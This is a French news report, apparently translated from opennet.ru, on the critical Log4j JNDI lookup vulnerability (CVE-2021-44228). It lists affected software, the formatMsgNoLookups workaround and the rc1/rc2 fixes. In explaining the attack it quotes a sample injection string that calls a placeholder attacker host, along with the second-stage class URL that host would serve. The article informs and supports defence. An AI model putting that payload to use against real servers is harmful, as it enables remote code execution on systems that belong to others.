Dans Apache Log4j, un cadre populaire pour l'organisation de la journalisation dans les applications Java, une vulnérabilité critique a été identifiée, permettant l'exécution de code arbitraire lors de l'enregistrement d'une valeur spécialement formatée sous la forme «{jndi:URL}». Une attaque peut être menée sur des applications Java qui enregistrent des valeurs provenant de sources externes, par exemple lors de l'affichage de valeurs problématiques dans des messages d'erreur.
Il est à noter que le problème affecte presque tous les projets utilisant des cadres tels qu'Apache Struts, Apache Solr, Apache Druid ou Apache Flink, y compris Steam, Apple iCloud, les clients et serveurs du jeu Minecraft. Il est prévu que cette vulnérabilité pourrait entraîner une vague d'attaques massives sur des applications d'entreprise, répétant l'histoire des vulnérabilités critiques dans le cadre Apache Struts, qui, selon des estimations, est utilisé dans des applications web par 65 % des entreprises du classement Fortune 100. De plus, des tentatives de scan de réseaux à la recherche de systèmes vulnérables ont déjà été enregistrées.
Le problème est aggravé par le fait qu'un exploit fonctionnel a déjà été publié, mais qu'aucun correctif pour les branches stables n'a encore été élaboré. Un identifiant CVE n'a pas encore été attribué. Le correctif n'est inclus que dans la branche de test log4j-2.15.0-rc1. En guise de contournement pour bloquer la vulnérabilité, il est recommandé de définir le paramètre log4j2.formatMsgNoLookups sur true.
Le problème a été causé par le fait que log4j prend en charge le traitement des masques spéciaux «{}» dans les chaînes enregistrées dans les journaux, dans lesquelles des requêtes JNDI (Java Naming and Directory Interface) pouvaient être exécutées. L'attaque consiste à transmettre une chaîne avec substitution «${jndi:ldap://attacker.com/a}», lors de son traitement, log4j enverra une requête LDAP à serveur attacker.com pour le chemin vers la classe Java. Le chemin retourné serveur par l'attaquant (par exemple, http://second-stage.attacker.com/Exploit.class) sera téléchargé et exécuté dans le contexte du processus actuel, ce qui permet à l'attaquant d'exécuter du code arbitraire sur le système avec les droits de l'application actuelle.
Addendum 1 : La vulnérabilité a été attribuée à l'identifiant CVE-2021-44228.
Addendum 2 : Un moyen de contourner la protection ajoutée dans la version log4j-2.15.0-rc1 a été découvert. Une nouvelle mise à jour log4j-2.15.0-rc2 a été proposée, offrant une protection plus complète contre la vulnérabilité. Le code met en avant un changement, lié à l'absence de terminaison d'urgence en cas d'utilisation d'une URL JNDI mal formatée.
Source : opennet.ru
